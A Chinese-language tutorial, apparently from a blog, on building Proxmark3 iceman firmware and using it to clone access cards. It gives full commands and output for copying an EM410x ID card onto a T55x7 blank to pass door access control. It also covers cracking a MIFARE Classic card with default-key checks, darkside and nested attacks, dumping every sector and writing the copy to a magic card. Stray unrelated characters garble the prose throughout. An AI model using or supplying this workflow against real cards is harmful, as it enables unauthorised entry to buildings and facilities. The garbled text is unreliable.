一沪伙、Kali Linux下ProxMark3客戶端的編譯和升級(jí)
以iceman的固件為例，iceman的固件提供了更多的特性县好，更新也更快围橡。
1.安裝依賴
sudo apt-get install p7zip git build-essential
sudo apt-get install libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config
sudo apt-get install wget libncurses5-dev gcc-arm-none-eabi
2.復(fù)制iceman倉庫，編譯客戶端
cd ~ ##切換到用戶目錄
git clone https://github.com/iceman1001/proxmark3.git ##克隆倉庫
cd /proxmark3 ##進(jìn)入目錄
git pull ##更新倉庫缕贡，后續(xù)升級(jí)可以直接從這一步開始
make clean && make all ##編譯倉庫
3.升級(jí)ProxMark3的固件
很多新手都會(huì)被所謂老鳥或者商家警告翁授，不要自己刷固件，不要刷boot晾咪，容易讓PM3變磚收擦。實(shí)際上，一旦遇到固件升級(jí)失敗谍倦，或者刷了相互不匹配的boot和image塞赂，只需要插拔PM3和刷固件的時(shí)候，按住PM3上的按鈕進(jìn)行強(qiáng)刷昼蛀。在windows下面宴猾，遇到固件出錯(cuò)，電腦不識(shí)別的時(shí)候叼旋，也是只要一直按住PM3上的按鈕即可把固件強(qiáng)刷到PM3里面仇哆。
sudo client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf
##調(diào)用client文件夾里的flasher刷寫程序?qū)懭牍碳葘懭隻oot
client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
##刷入鏡像文件
其中設(shè)備的接口ACM0夫植，通過下面的命令查看
dmesg | grep -i usb
如果是老版本的驅(qū)動(dòng)讹剔，會(huì)采用HID的方式連接，需要升級(jí)成新版本的CDC方式。
二延欠、ID和IC卡的復(fù)制攻擊
1.判斷卡類型的技巧
##進(jìn)入proxmark3客戶端
client/proxmark3 /dev/ttyACM0
hw tune
##測試信號(hào)是否正常陌兑，回顯結(jié)果如下
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
....
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 15.37 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
pm3 -->
沒有放入任何卡的時(shí)候，高頻天線的電壓是15.37V由捎，或者根據(jù)實(shí)際情況有所不同诀紊，這是高頻天線的非工作電壓。
##放入高頻卡時(shí)的電壓變化
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
...
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 14.20 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
電壓下降了1V多隅俘，如果放在高頻天線上的是低頻卡邻奠，電壓變化幅度不大。利用這個(gè)方法为居，可以簡單的判斷一下卡的類型碌宴。
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
....
[+] LF antenna: 24.08 V - 125.00 kHz
[+] LF antenna: 21.10 V - 134.00 kHz
[+] LF optimal: 24.50 V - 126.32 kHz
[+] LF antenna is OK
[+] HF antenna: 15.74 V - 13.56 MHz
[+] HF antenna is OK
[+] Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
2.ID卡（低頻:LF）復(fù)制
ID卡是出廠時(shí)寫死ID，不可修改的低頻卡蒙畴。一般ID卡贰镣，僅僅是判斷該卡的ID是否在數(shù)據(jù)庫中，在就放行膳凝，不在就拒絕碑隆。所以只要把ID卡的ID寫入到可復(fù)制的ID中，就可以過門禁蹬音。
##將ID卡放到proxmark3的低頻天線上上煤。
##讀取ID的信息，其中l(wèi)f是指采用低頻工具包
pm3 --> lf search
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found
EM TAG ID : 08003C9F5F
Possible de-scramble patterns
Unique TAG ID : 10003CF9FA
HoneyWell IdentKey {
DEZ 8 : 03972959
DEZ 10 : 0003972959
DEZ 5.5 : 00060.40799
DEZ 3.5A : 008.40799
DEZ 3.5B : 000.40799
DEZ 3.5C : 060.40799
DEZ 14/IK2 : 00034363711327
DEZ 15/IK3 : 000068723472890
DEZ 20/ZK : 01000000031215091510
}
Other : 40799_060_03972959
Pattern Paxton : 139517279 [0x850DD5F]
Pattern 1 : 5597182 [0x5567FE]
Pattern Sebury : 40799 60 3972959 [0x9F5F 0x3C 0x3C9F5F]
[+] Valid EM410x ID Found!
從回顯結(jié)果著淆，可以獲知卡的類型是EM410x,EM ID是08003C9F5F劫狠。接著直接寫入新卡
if em 410x_write工具寫入，最后1和64是寫入的數(shù)據(jù)塊大小
pm3 --> lf em 410x_write 08003C9F5F 1 64
Writing T55x7 tag with UID 0x08003c9f5f (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xff822001b12f2bd6
3.IC卡復(fù)制
1讀卡：hf 14a info
pm3 --> hf 14a info
UID : 15 54 C6 AC
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1
[=] proprietary non iso14443-4 card found, RATS not supported
[=] Answers to magic commands: NO
[+] Prng detection: WEAK
pm3 -->
可以得到這張卡的UID是1554C6AC永部，卡的類型是mifare c1,即m1卡独泞，存儲(chǔ)空間時(shí)1k
2.破解卡的加密信息：弱口令測試
很多m1的卡，都采用出廠的弱口令苔埋，可以直接試出密碼信息
hf mf chk *1 ? t
pm3 --> hf mf chk *1 ? t
No key specified, trying default keys
[ 0] ffffffffffff
[ 1] 000000000000
[ 2] a0a1a2a3a4a5
[ 3] b0b1b2b3b4b5
[ 4] c0c1c2c3c4c5
[ 5] d0d1d2d3d4d5
[ 6] aabbccddeeff
[ 7] 1a2b3c4d5e6f
[ 8] 123456789abc
[ 9] 010203040506
[10] 123456abcdef
[11] abcdef123456
[12] 4d3a99c351dd
[13] 1a982c7e459a
[14] d3f7d3f7d3f7
[15] 714c5c886e97
[16] 587ee5f9350f
[17] a0478cc39091
[18] 533cb6c723f6
[19] 8fd0a4f256e9
................................
Time in checkkeys: 10 seconds
testing to read key B...
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ------------ | 0 | ------------ | 0 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ------------ | 0 | ffffffffffff | 1 |
|011| ------------ | 0 | ffffffffffff | 1 |
|012| ------------ | 0 | ffffffffffff | 1 |
|013| ------------ | 0 | ffffffffffff | 1 |
|014| ------------ | 0 | ffffffffffff | 1 |
|015| ------------ | 0 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Found keys have been transferred to the emulator memory
回顯的標(biāo)識(shí)key a,key b就是每個(gè)扇區(qū)的密碼懦砂，接著可以利用nested攻擊，獲取所有扇區(qū)的密碼
2.破解卡的加密信息：darkside攻擊
另外一種獲取扇區(qū)密碼的方式,如果不是冰人固件组橄，修改為mfare
hf mf darkside
pm3 --> hf mf darkside
--------------------------------------------------------------------------------
executing Darkside attack. Expected execution time: 25sec on average
press pm3-button on the proxmark3 device to abort both proxmark3 and client.
--------------------------------------------------------------------------------
[+] Parity is all zero. Most likely this card sends NACK on every authentication.
[-] no candidates found, trying again
.
[-] no candidates found, trying again
.
[+] found 12 candidate keys.
[+] found valid key: ffffffffffff
得到一個(gè)有效的秘鑰
3.破解卡的加密信息：獲取全扇區(qū)秘鑰
hf mf nested 1 0 A ffffffffffff d
pm3 --> hf mf nested 1 0 A ffffffffffff d
[+] Testing known keys. Sector count=16
[-] Chunk: 1.4s | found 24/32 keys (21)
[+] Time to check 20 known keys: 1 seconds
[+] enter nested attack
[+] target block: 20 key type: A
[+] target block: 20 key type: B -- found valid key [eba93a57cfe0]
[-] Chunk: 0.5s | found 1/32 keys (1)
[+] target block: 40 key type: A
[+] target block: 44 key type: A
[+] target block: 48 key type: A -- found valid key [505df95da97b]
[-] Chunk: 0.5s | found 21/32 keys (1)
[+] target block: 20 key type: A -- found valid key [1456c5a8301f]
[-] Chunk: 0.6s | found 2/32 keys (1)
[+] time in nested: 8 seconds
[+] trying to read key B...
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| 1456c5a8301f | 1 | eba93a57cfe0 | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| 505df95da97b | 1 | ffffffffffff | 1 |
|011| 505df95da97b | 1 | ffffffffffff | 1 |
|012| 505df95da97b | 1 | ffffffffffff | 1 |
|013| 505df95da97b | 1 | ffffffffffff | 1 |
|014| 505df95da97b | 1 | ffffffffffff | 1 |
|015| 505df95da97b | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
[+] saving keys to binary file hf-mf-1554C6AC-key.bin...
獲取全扇區(qū)的秘鑰荞膘，并把二進(jìn)制文件保存為*.bin,此時(shí)可以讀取每一個(gè)扇區(qū)的數(shù)據(jù)
4.讀取全扇區(qū)數(shù)據(jù)
hf mf dump
pm3 --> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
[+] successfully read block 0 of sector 0.
[+] successfully read block 1 of sector 0.
[+] successfully read block 2 of sector 0.
[+] successfully read block 3 of sector 0.
[+] successfully read block 1 of sector 15.
[+] successfully read block 2 of sector 15.
[+] successfully read block 3 of sector 15.
[+] dumped 64 blocks (1024 bytes) to file hf-mf-1554C6AC-data.bin
成功寫入文件
5.設(shè)置新卡uid，并寫入全部數(shù)據(jù)完成復(fù)制
把可寫的IC卡放到高頻天線上晨炕，先寫入讀卡時(shí)獲得的uid衫画，再寫入全扇區(qū)數(shù)據(jù)毫炉。
hf mf csetuid xxxxxxxx w
hf mf restore
